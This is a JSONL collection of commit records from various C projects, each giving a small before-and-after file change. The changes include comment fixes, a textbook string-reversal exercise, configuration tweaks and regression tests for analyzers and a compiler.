{"commit":"2bbbfd9a852b4de70411293745d4b88f1a7d4e7a","old_file":"src\/LibTemplateCMake\/include\/LibTemplateCMake\/LibTemplateCMake.h","new_file":"src\/LibTemplateCMake\/include\/LibTemplateCMake\/LibTemplateCMake.h","old_contents":"#ifndef LIB_TEMPLATE_CMAKE_H\n#define LIB_TEMPLATE_CMAKE_H\n\nnamespace LibTemplateCMake {\n\n\/**\n* \\class LibTemplateCMake::aClass\n* \\headerfile template-lib.h <TemplateLib\/templatelib.h>\n*\n* \\brief A class from LibTemplateCMake namespace.\n*\n* This class that does a summation.\n*\/\nclass summationClass\n{\npublic:\n    \/**\n    * Constructor\n    *\/\n    summationClass();\n\n    \/**\n    * Destructory\n    *\/\n    virtual ~summationClass();\n\n    \/**\n    * A method that does a summation\n    *\/\n    virtual double doSomething(double op1, double op2);\n};\n\n\n\/**\n* \\class LibTemplateCMake::anotherClass\n* \\headerfile template-lib.h <TemplateLib\/templatelib.h>\n*\n* \\brief A derived class from LibTemplateCMake namespace.\n*\n* This class performs a difference.\n*\/\nclass differenceClass : public summationClass\n{\npublic:\n    \/**\n    * Constructor\n    *\/\n    differenceClass();\n\n    \/**\n    * Destructory\n    *\/\n    virtual ~differenceClass();\n\n    \/**\n    * A method that does something\n    *\/\n    virtual double doSomething(double op1, double op2);\n};\n\n\n} \/\/ namespace LibTemplateCMake\n\n#endif \/* LIB_TEMPLATE_CMAKE_H *\/\n","new_contents":"#ifndef LIB_TEMPLATE_CMAKE_H\n#define LIB_TEMPLATE_CMAKE_H\n\nnamespace LibTemplateCMake {\n\n\/**\n * \\class LibTemplateCMake::aClass\n * \\headerfile template-lib.h <TemplateLib\/templatelib.h>\n *\n * \\brief A class from LibTemplateCMake namespace.\n *\n * This class that does a summation.\n *\/\nclass summationClass\n{\npublic:\n    \/**\n     * Constructor\n     *\/\n    summationClass();\n\n    \/**\n     * Destructor\n     *\/\n    virtual ~summationClass();\n\n    \/**\n     * A method that does a summation\n     *\/\n    virtual double doSomething(double op1, double op2);\n};\n\n\n\/**\n * \\class LibTemplateCMake::anotherClass\n * \\headerfile template-lib.h <TemplateLib\/templatelib.h>\n *\n * \\brief A derived class from LibTemplateCMake namespace.\n *\n * This class performs a difference.\n *\/\nclass differenceClass : public summationClass\n{\npublic:\n    \/**\n     * Constructor\n     *\/\n    differenceClass();\n\n    \/**\n     * Destructor\n     *\/\n    virtual ~differenceClass();\n\n    \/**\n     * A method that does something\n     *\/\n    virtual double doSomething(double op1, double op2);\n};\n\n\n} \/\/ namespace LibTemplateCMake\n\n#endif \/* LIB_TEMPLATE_CMAKE_H *\/\n","subject":"Clean up shared lib header code","message":"Clean up shared lib header code\n","lang":"C","license":"mit","repos":"robotology-playground\/lib-template-cmake"}
{"commit":"83459aedbc24813969bd0ed8212bbd9f665e843d","old_file":"tests\/regression\/02-base\/71-pthread-once.c","new_file":"tests\/regression\/02-base\/71-pthread-once.c","old_contents":"\/\/PARAM: --disable sem.unknown_function.spawn\n#include <pthread.h>\n#include <assert.h>\n\nint g;\npthread_once_t once = PTHREAD_ONCE_INIT;\n\nvoid *t_fun(void *arg) {\n  assert(1); \/\/ reachable!\n  return NULL;\n}\n\nint main() {\n  pthread_once(&once,t_fun);\n  return 0;\n}\n","new_contents":"\/\/PARAM: --disable sem.unknown_function.spawn\n#include <pthread.h>\n#include <assert.h>\n\nint g;\npthread_once_t once = PTHREAD_ONCE_INIT;\n\nvoid t_fun() {\n  assert(1); \/\/ reachable!\n  return NULL;\n}\n\nint main() {\n  pthread_once(&once,t_fun);\n  return 0;\n}\n","subject":"Correct type of `pthread_once` argument","message":"02\/71: Correct type of `pthread_once` argument\n\nCo-authored-by: Simmo Saan <43bc63fd4e818c04906d6ad710460794fe32296e@gmail.com>","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"563b66f9debadbe116b096fc8d5f48b17bb8d881","old_file":"src\/exercise119.c","new_file":"src\/exercise119.c","old_contents":"","new_contents":"\/* Exercise 1-19: Write a function \"reverse(s)\" that reverses the character\n * string \"s\". Use it to write a program that reverses its input a line at a\n * time. *\/\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nuint32_t reverse(char *s);\n\nint main(int argc, char **argv)\n{\n  char *buffer = NULL;\n  uint32_t buffer_length = 0;\n  char character = 0;\n  bool finished_inputting = false;\n  \/* You would normally have the end-of-file test in the loop condition\n   * expression, however this introduces a subtle bug where the last line\n   * isn't processed if the input doesn't end with a newline. See\n   * <http:\/\/users.powernet.co.uk\/eton\/kandr2\/krx113.html> for details. *\/\n  while (finished_inputting == false) {\n    character = getchar();\n    if (character == '\\n' || (character == EOF && buffer_length > 0)) {\n      buffer = realloc(buffer, ++buffer_length * sizeof(char));\n      buffer[buffer_length - 1] = '\\0';\n      reverse(buffer);\n      printf(\"%s\\n\", buffer);\n      free(buffer);\n      buffer = NULL;\n      buffer_length = 0;\n    } else {\n      buffer = realloc(buffer, ++buffer_length * sizeof(char));\n      buffer[buffer_length - 1] = character;\n    }\n    finished_inputting = (character == EOF);\n  }\n  return EXIT_SUCCESS;\n}\n\nuint32_t reverse(char *s)\n{\n  uint32_t string_length = 0;\n  while (s[string_length] != '\\0') {\n    string_length++;\n  }\n  int32_t i = 0, j = string_length - 1;\n  char temp = 0;\n  for (i = 0; i < j; i++, j--) {\n    temp = s[i];\n    s[i] = s[j];\n    s[j] = temp;\n  }\n  return string_length;\n}\n","subject":"Add solution to Exercise 1-19.","message":"Add solution to Exercise 1-19.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"2b24c45e3d99ec7e44862960acee7b26d15ab84f","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_COUNTERMOVE_HISTORY 0\n#define ENABLE_HISTORY_PRUNE_DEPTH 0\n#define ENABLE_NNUE 0\n#define ENABLE_NNUE_SIMD 0\n\n#endif\n","new_contents":"#ifndef _CONFIG_H\n#define _CONFIG_H\n\n#define ENABLE_COUNTERMOVE_HISTORY 0\n#define ENABLE_HISTORY_PRUNE_DEPTH 4\n#define ENABLE_NNUE 0\n#define ENABLE_NNUE_SIMD 0\n\n#endif\n","subject":"Enable history pruning at depth 4","message":"Enable history pruning at depth 4\n","lang":"C","license":"bsd-3-clause","repos":"jwatzman\/nameless-chessbot,jwatzman\/nameless-chessbot"}
{"commit":"fa09dc1302b1dc246adf171c6d891e0444c063d8","old_file":"src\/bin\/e_signals.c","new_file":"src\/bin\/e_signals.c","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#include \"e.h\"\n#include <execinfo.h>\n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n  void *array[255];\n  size_t size;\n  write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n  write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n  size = backtrace(array, 255);\n  backtrace_symbols_fd(array, size, 2);\n  exit(-11); \n}\n\n\n     \n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n * NOTE TO FreeBSD users. Install libexecinfo from \n * ports\/devel\/libexecinfo and add -lexecinfo to LDFLAGS\n * to add backtrace support.\n *\/\n#include \"e.h\"\n#include <execinfo.h>\n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n  void *array[255];\n  size_t size;\n  write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n  write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n  size = backtrace(array, 255);\n  backtrace_symbols_fd(array, size, 2);\n  exit(-11); \n}\n\n\n     \n","subject":"Add note to help FreeBSD users.","message":"Add note to help FreeBSD users.\n\n\nSVN revision: 13781\n","lang":"C","license":"bsd-2-clause","repos":"rvandegrift\/e,FlorentRevest\/Enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment"}
{"commit":"abf6c33fd57d1f8d9a14c76f0a8ddebb0e8e7041","old_file":"src\/lib\/PluginManager.h","new_file":"src\/lib\/PluginManager.h","old_contents":"\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2008 Torsten Rahn <tackat@kde.org>\"\n\/\/\n\n\n#ifndef PLUGINMANAGER_H\n#define PLUGINMANAGER_H\n\n#include <QtCore\/QObject>\n\nclass MarbleLayerInterface;\n\n\/**\n * @short The class that handles Marble's plugins.\n *\n *\/\n\nclass PluginManager : public QObject\n{\n    Q_OBJECT\n\n public:\n    explicit PluginManager(QObject *parent = 0);\n    ~PluginManager();\n\n    QList<MarbleLayerInterface *> layerInterfaces() const;\n\n public Q_SLOTS:\n    \/**\n     * @brief Browses the plugin directories and installs plugins. \n     *\n     * This method browses all plugin directories and installs all  \n     * plugins found in there.\n     *\/\n    void loadPlugins();\n\n private:\n    Q_DISABLE_COPY( PluginManager )\n    QList<MarbleLayerInterface *> m_layerInterfaces;\n};\n\n\n#endif \/\/ PLUGINMANAGER_H\n","new_contents":"\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2008 Torsten Rahn <tackat@kde.org>\"\n\/\/\n\n\n#ifndef PLUGINMANAGER_H\n#define PLUGINMANAGER_H\n\n#include <QtCore\/QObject>\n#include \"marble_export.h\"\nclass MarbleLayerInterface;\n\n\/**\n * @short The class that handles Marble's plugins.\n *\n *\/\n\nclass MARBLE_EXPORT PluginManager : public QObject\n{\n    Q_OBJECT\n\n public:\n    explicit PluginManager(QObject *parent = 0);\n    ~PluginManager();\n\n    QList<MarbleLayerInterface *> layerInterfaces() const;\n\n public Q_SLOTS:\n    \/**\n     * @brief Browses the plugin directories and installs plugins. \n     *\n     * This method browses all plugin directories and installs all  \n     * plugins found in there.\n     *\/\n    void loadPlugins();\n\n private:\n    Q_DISABLE_COPY( PluginManager )\n    QList<MarbleLayerInterface *> m_layerInterfaces;\n};\n\n\n#endif \/\/ PLUGINMANAGER_H\n","subject":"Fix export (needs for test program)","message":"Fix export (needs for test program)\n\nsvn path=\/trunk\/KDE\/kdeedu\/marble\/; revision=818952\n","lang":"C","license":"lgpl-2.1","repos":"probonopd\/marble,AndreiDuma\/marble,adraghici\/marble,utkuaydin\/marble,oberluz\/marble,probonopd\/marble,David-Gil\/marble-dev,adraghici\/marble,adraghici\/marble,oberluz\/marble,oberluz\/marble,tzapzoor\/marble,utkuaydin\/marble,oberluz\/marble,AndreiDuma\/marble,tucnak\/marble,tzapzoor\/marble,tucnak\/marble,AndreiDuma\/marble,Earthwings\/marble,utkuaydin\/marble,AndreiDuma\/marble,rku\/marble,adraghici\/marble,AndreiDuma\/marble,tzapzoor\/marble,quannt24\/marble,David-Gil\/marble-dev,Earthwings\/marble,quannt24\/marble,Earthwings\/marble,rku\/marble,tzapzoor\/marble,David-Gil\/marble-dev,utkuaydin\/marble,rku\/marble,tzapzoor\/marble,oberluz\/marble,tucnak\/marble,rku\/marble,quannt24\/marble,tucnak\/marble,tucnak\/marble,AndreiDuma\/marble,tzapzoor\/marble,rku\/marble,David-Gil\/marble-dev,probonopd\/marble,tzapzoor\/marble,utkuaydin\/marble,Earthwings\/marble,quannt24\/marble,Earthwings\/marble,probonopd\/marble,David-Gil\/marble-dev,David-Gil\/marble-dev,probonopd\/marble,rku\/marble,probonopd\/marble,quannt24\/marble,tzapzoor\/marble,oberluz\/marble,adraghici\/marble,tucnak\/marble,quannt24\/marble,adraghici\/marble,tucnak\/marble,probonopd\/marble,quannt24\/marble,utkuaydin\/marble,Earthwings\/marble"}
{"commit":"87995a922d19228ee181937691acb2ba8f16ee0d","old_file":"src\/random.h","new_file":"src\/random.h","old_contents":"#ifndef DW_RANDOM_H\n#define DW_RANDOM_H\n\nint rand_rangei(int min, int max);\nfloat rand_rangei(float min, float max);\n\n#define rand_bool() rand_rangei(0, 2)\n\n#endif\n","new_contents":"#ifndef DW_RANDOM_H\n#define DW_RANDOM_H\n\nint rand_rangei(int min, int max);\nfloat rand_rangef(float min, float max);\n\n#define rand_bool() rand_rangei(0, 2)\n\n#endif\n","subject":"Fix naming of rand_rangef name","message":"Fix naming of rand_rangef name\n","lang":"C","license":"mit","repos":"jacquesrott\/merriment,jacquesrott\/merriment,jacquesrott\/merriment"}
{"commit":"06d72c2c64ecad9b36a0bf26139320e569bd05e3","old_file":"crypto\/ec\/curve448\/arch_32\/arch_intrinsics.h","new_file":"crypto\/ec\/curve448\/arch_32\/arch_intrinsics.h","old_contents":"\/*\n * Copyright 2017-2018 The OpenSSL Project Authors. All Rights Reserved.\n * Copyright 2016 Cryptography Research, Inc.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\n * Originally written by Mike Hamburg\n *\/\n\n#ifndef __ARCH_ARCH_32_ARCH_INTRINSICS_H__\n# define __ARCH_ARCH_32_ARCH_INTRINSICS_H__\n\n# define ARCH_WORD_BITS 32\n\nstatic ossl_inline uint32_t word_is_zero(uint32_t a)\n{\n    \/* let's hope the compiler isn't clever enough to optimize this. *\/\n    return (((uint64_t)a) - 1) >> 32;\n}\n\nstatic ossl_inline uint64_t widemul(uint32_t a, uint32_t b)\n{\n    return ((uint64_t)a) * b;\n}\n\n#endif                          \/* __ARCH_ARM_32_ARCH_INTRINSICS_H__ *\/\n","new_contents":"\/*\n * Copyright 2017-2018 The OpenSSL Project Authors. All Rights Reserved.\n * Copyright 2016 Cryptography Research, Inc.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\n * Originally written by Mike Hamburg\n *\/\n\n#ifndef __ARCH_ARCH_32_ARCH_INTRINSICS_H__\n# define __ARCH_ARCH_32_ARCH_INTRINSICS_H__\n\n# define ARCH_WORD_BITS 32\n\nstatic ossl_inline uint32_t word_is_zero(uint32_t a)\n{\n    \/* let's hope the compiler isn't clever enough to optimize this. *\/\n    return (((uint64_t)a) - 1) >> 32;\n}\n\nstatic ossl_inline uint64_t widemul(uint32_t a, uint32_t b)\n{\n    return ((uint64_t)a) * b;\n}\n\n#endif                          \/* __ARCH_ARCH_32_ARCH_INTRINSICS_H__ *\/\n","subject":"Fix a typo in a comment","message":"Fix a typo in a comment\n\nReviewed-by: Bernd Edlinger <ac6902843ae77cc0d49b9c8ddec4cbf141db1bb7@hotmail.de>\n(Merged from https:\/\/github.com\/openssl\/openssl\/pull\/5105)\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"cd5f12e417ee99d37f44187b2c4b122afad24578","old_file":"testDynload.c","new_file":"testDynload.c","old_contents":"#ifdef _WIN32\n#define DL_EXPORT __declspec( dllexport )\n#else\n#define DL_EXPORT\n#endif\n\nDL_EXPORT int TestDynamicLoaderData;\n\nDL_EXPORT void TestDynamicLoaderFunction()\n{\n}\n","new_contents":"#ifdef _WIN32\n#define DL_EXPORT __declspec( dllexport )\n#else\n#define DL_EXPORT\n#endif\n\nDL_EXPORT int TestDynamicLoaderData = 0;\n\nDL_EXPORT void TestDynamicLoaderFunction()\n{\n}\n","subject":"Fix compilation on MacOSX (common symbols not allowed with MH_DYLIB output format)","message":"COMP: Fix compilation on MacOSX (common symbols not allowed with MH_DYLIB output format)\n","lang":"C","license":"bsd-3-clause","repos":"chuckatkins\/KWSys,chuckatkins\/KWSys,chuckatkins\/KWSys,chuckatkins\/KWSys"}
{"commit":"21aa13130130650738df8e748a01b8706fba5e79","old_file":"sys\/sys\/_cpuset.h","new_file":"sys\/sys\/_cpuset.h","old_contents":"","new_contents":"\/*-\n * Copyright (c) 2008,\tJeffrey Roberson <jeff@freebsd.org>\n * All rights reserved.\n *\n * Copyright (c) 2008 Nokia Corporation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice unmodified, this list of conditions, and the following\n *    disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef _SYS__CPUSET_H_\n#define\t_SYS__CPUSET_H_\n\n#include <sys\/param.h>\n\n#ifdef _KERNEL\n#define\tCPU_SETSIZE\tMAXCPU\n#endif\n\n#define\tCPU_MAXSIZE\t(4 * MAXCPU)\n\n#ifndef\tCPU_SETSIZE\n#define\tCPU_SETSIZE\tCPU_MAXSIZE\n#endif\n\n#define\t_NCPUBITS\t(sizeof(long) * NBBY)\t\/* bits per mask *\/\n#define\t_NCPUWORDS\thowmany(CPU_SETSIZE, _NCPUBITS)\n\ntypedef\tstruct _cpuset {\n\tlong\t__bits[howmany(CPU_SETSIZE, _NCPUBITS)];\n} cpuset_t;\n\n#endif \/* !_SYS__CPUSET_H_ *\/\n","subject":"Remove the previously added comment. Probabilly me is the only one who didn't know userland and kerneland sizes were mismatching.","message":"Remove the previously added comment.\nProbabilly me is the only one who didn't know userland and kerneland sizes\nwere mismatching.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"553b2e10575dca72a1a273ca50a885a0e0191603","old_file":"elixir\/main.c","new_file":"elixir\/main.c","old_contents":"\/\/ Regular C libs\n#include <stdio.h>\n\n\/\/ Elixir libs -- clang doesn't know where the hell this is\n#include \"erl_nif.h\"\n\n\/\/ Needs to figure out what ERL_NIF_TERM means\nstatic ERL_NIF_TERM hello(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[]) {\n\n\t\/\/ We need some variables\n\tchar *s;\n\tint i, num;\n\n\t\/\/ Grab the arguments from Elixir\n\tenif_get_string(env, argv[0], s, 1024, ERL_NIF_LATIN1);\n\tenif_get_int(env, argv[1], &num);\n\n\tfor (i = 0; i < num; i++) {\n\t\tprintf(\"Hello, %s!\\n\", s);\n\t}\n\n\t\/\/ Fancy version of return 0\n\treturn enif_make_int(env, 0);\n}\n\nstatic ErlNifFunc funcs[] = {\n\t{\"hello\", 2, hello}\n};\n\nERL_NIF_INIT(Elixir.Hello, funcs, NULL, NULL, NULL, NULL)\n","new_contents":"\/\/ Regular C libs\n#include <stdio.h>\n\n\/\/ Elixir libs\n#include \"erl_nif.h\"\n\n#define MAXLEN 1024\n\n\/\/ Needs to figure out what ERL_NIF_TERM means\nstatic ERL_NIF_TERM hello(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[]) {\n\n\t\/\/ We need some variables\n\tchar buf[MAXLEN];\n\tint i, num;\n\n\t\/\/ Grab the arguments from Elixir\n\tenif_get_string(env, argv[0], buf, MAXLEN, ERL_NIF_LATIN1);\n\tenif_get_int(env, argv[1], &num);\n\n\tfor (i = 0; i < num; i++) {\n\t\tprintf(\"Hello, %s!\\n\", buf);\n\t}\n\n\t\/\/ Fancy version of return 0\n\treturn enif_make_int(env, 0);\n}\n\n\/\/ Map Elixir functions to C functions\nstatic ErlNifFunc funcs[] = {\n\n\t\/\/ Function name in Elixir, number of arguments, C function\n\t{\"hello\", 2, hello}\n};\n\nERL_NIF_INIT(Elixir.Hello, funcs, NULL, NULL, NULL, NULL)\n","subject":"Use buf as var name","message":"Use buf as var name\n","lang":"C","license":"unlicense","repos":"bentranter\/binding,bentranter\/binding,bentranter\/binding"}
{"commit":"5343a3a7ec39a5eeb212a36287647c4a1e6749fd","old_file":"tests\/regression\/34-congruence\/03-branching.c","new_file":"tests\/regression\/34-congruence\/03-branching.c","old_contents":"","new_contents":"\/\/ PARAM: --sets solver td3 --enable ana.int.congruence --disable ana.int.def_exc\nint main(){\n    \/\/ A refinement of a congruence class should only take place for the == and != operator.\n    int i;\n    if (i==0){\n      assert(i==0);\n    } else {\n      assert(i!=0); \/\/UNKNOWN!\n    }\n\n    int j;\n    if (j != 0){\n      assert (j != 0); \/\/UNKNOWN!\n    } else {\n      assert (j == 0);\n    }\n\n    int k;\n    if (k > 0) {\n      assert (k == 0); \/\/UNKNOWN!\n    } else {\n      assert (k != 0); \/\/UNKNOWN!\n    }\n\n    return 0;\n}","subject":"Add branching test for congruence domain","message":"Add branching test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ee5707df2fdb0c86d7d9aade08056b59cf4cba8e","old_file":"verification\/OpenAD\/code_oad\/OPENAD_OPTIONS.h","new_file":"verification\/OpenAD\/code_oad\/OPENAD_OPTIONS.h","old_contents":"","new_contents":"C $Header$\nC $Name$\n\nCBOP\nC !ROUTINE: OPENAD_OPTIONS.h\nC !INTERFACE:\nC #include \"OPENAD_OPTIONS.h\"\n\nC !DESCRIPTION:\nC *==================================================================*\nC | CPP options file for OpenAD (openad) package:\nC | Control which optional features to compile in this package code.\nC *==================================================================*\nCEOP\n\n#ifndef OPENAD_OPTIONS_H\n#define OPENAD_OPTIONS_H\n#include \"PACKAGES_CONFIG.h\"\n#include \"CPP_OPTIONS.h\"\n\n#ifdef ALLOW_OPENAD\n\n#define ALLOW_OPENAD_ACTIVE_READ_XYZ\n#undef ALLOW_OPENAD_ACTIVE_READ_XY\n#undef ALLOW_OPENAD_ACTIVE_WRITE\n\n#endif \/* ALLOW_OPENAD *\/\n#endif \/* OPENAD_OPTIONS_H *\/\n","subject":"Change to 3D active read","message":"Change to 3D active read\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"37a80793063bee42a088534eb87e2af7e4d5e2e7","old_file":"tests\/sv-comp\/multicall_context_true-unreach-call.c","new_file":"tests\/sv-comp\/multicall_context_true-unreach-call.c","old_contents":"","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\nvoid __VERIFIER_assert(int cond) {\n    if (!(cond)) {\n        ERROR: __VERIFIER_error();\n    }\n    return;\n}\n\nvoid foo(int x)\n{\n    __VERIFIER_assert(x - 1 < x);\n}\n\nint main()\n{\n    foo(1);\n    foo(2);\n    return 0;\n}","subject":"Add basic example with multiple contexts","message":"Add basic example with multiple contexts\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"69406f7330d9fd0b36a2aefd479636cc8738127c","old_file":"gtk\/spice-util-priv.h","new_file":"gtk\/spice-util-priv.h","old_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n   Copyright (C) 2010 Red Hat, Inc.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#ifndef SPICE_UTIL_PRIV_H\n#define SPICE_UTIL_PRIV_H\n\n#include <glib.h>\n\nG_BEGIN_DECLS\n\n#define UUID_FMT \"%02hhx%02hhx%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx%02hhx%02hhx%02hhx%02hhx\"\n\ngboolean spice_strv_contains(const GStrv strv, const gchar *str);\ngchar* spice_uuid_to_string(const guint8 uuid[16]);\n\nG_END_DECLS\n\n#endif \/* SPICE_UTIL_PRIV_H *\/\n","new_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n   Copyright (C) 2010 Red Hat, Inc.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#ifndef SPICE_UTIL_PRIV_H\n#define SPICE_UTIL_PRIV_H\n\n#include <glib.h>\n\nG_BEGIN_DECLS\n\n#define UUID_FMT \"%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\"\n\ngboolean spice_strv_contains(const GStrv strv, const gchar *str);\ngchar* spice_uuid_to_string(const guint8 uuid[16]);\n\nG_END_DECLS\n\n#endif \/* SPICE_UTIL_PRIV_H *\/\n","subject":"Replace %02hhx with %02x in UUID format","message":"Replace %02hhx with %02x in UUID format\n\nUse of 'hh' in the UUID format string is not required. Furthermore\nit causes errors on Mingw32, where the 'hh' modifier is not supported\n","lang":"C","license":"lgpl-2.1","repos":"elmarco\/spice-gtk,Fantu\/spice-gtk,freedesktop-unofficial-mirror\/spice__spice-gtk,freedesktop-unofficial-mirror\/spice__spice-gtk,Fantu\/spice-gtk,flexVDI\/spice-gtk,SPICE\/spice-gtk,freedesktop-unofficial-mirror\/spice__spice-gtk,dezelin\/spice-gtk,mathslinux\/spice-gtk,guodong\/spice-gtk,SPICE\/spice-gtk,fgouget\/spice-gtk,elmarco\/spice-gtk,freedesktop-unofficial-mirror\/spice__spice-gtk,guodong\/spice-gtk,dezelin\/spice-gtk,mathslinux\/spice-gtk,fgouget\/spice-gtk,guodong\/spice-gtk,elmarco\/spice-gtk,dezelin\/spice-gtk,fgouget\/spice-gtk,mathslinux\/spice-gtk,Fantu\/spice-gtk,SPICE\/spice-gtk,SPICE\/spice-gtk,elmarco\/spice-gtk,dezelin\/spice-gtk,Fantu\/spice-gtk,flexVDI\/spice-gtk,mathslinux\/spice-gtk,guodong\/spice-gtk"}
{"commit":"e3485b84607578953b545b5033620bf1390c9132","old_file":"test2\/__attribute__\/cleanup\/auto_out_param.c","new_file":"test2\/__attribute__\/cleanup\/auto_out_param.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 0 %s\n\nstruct store_out\n{\n\tint *local;\n\tint *ret;\n};\n\nvoid store_out(const struct store_out *const so)\n{\n\t*so->ret = *so->local;\n}\n\nvoid f(int *p)\n{\n\tint i = *p;\n\tstruct store_out so __attribute((cleanup(store_out))) = {\n\t\t.local = &i,\n\t\t.ret = p\n\t};\n\n\ti = 5;\n}\n\nmain()\n{\n\tint i = 3;\n\n\tf(&i);\n\n\tif(i != 5)\n\t\tabort();\n\n\treturn 0;\n}\n","subject":"Test cleanup-attribute with const struct parameter","message":"Test cleanup-attribute with const struct parameter\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
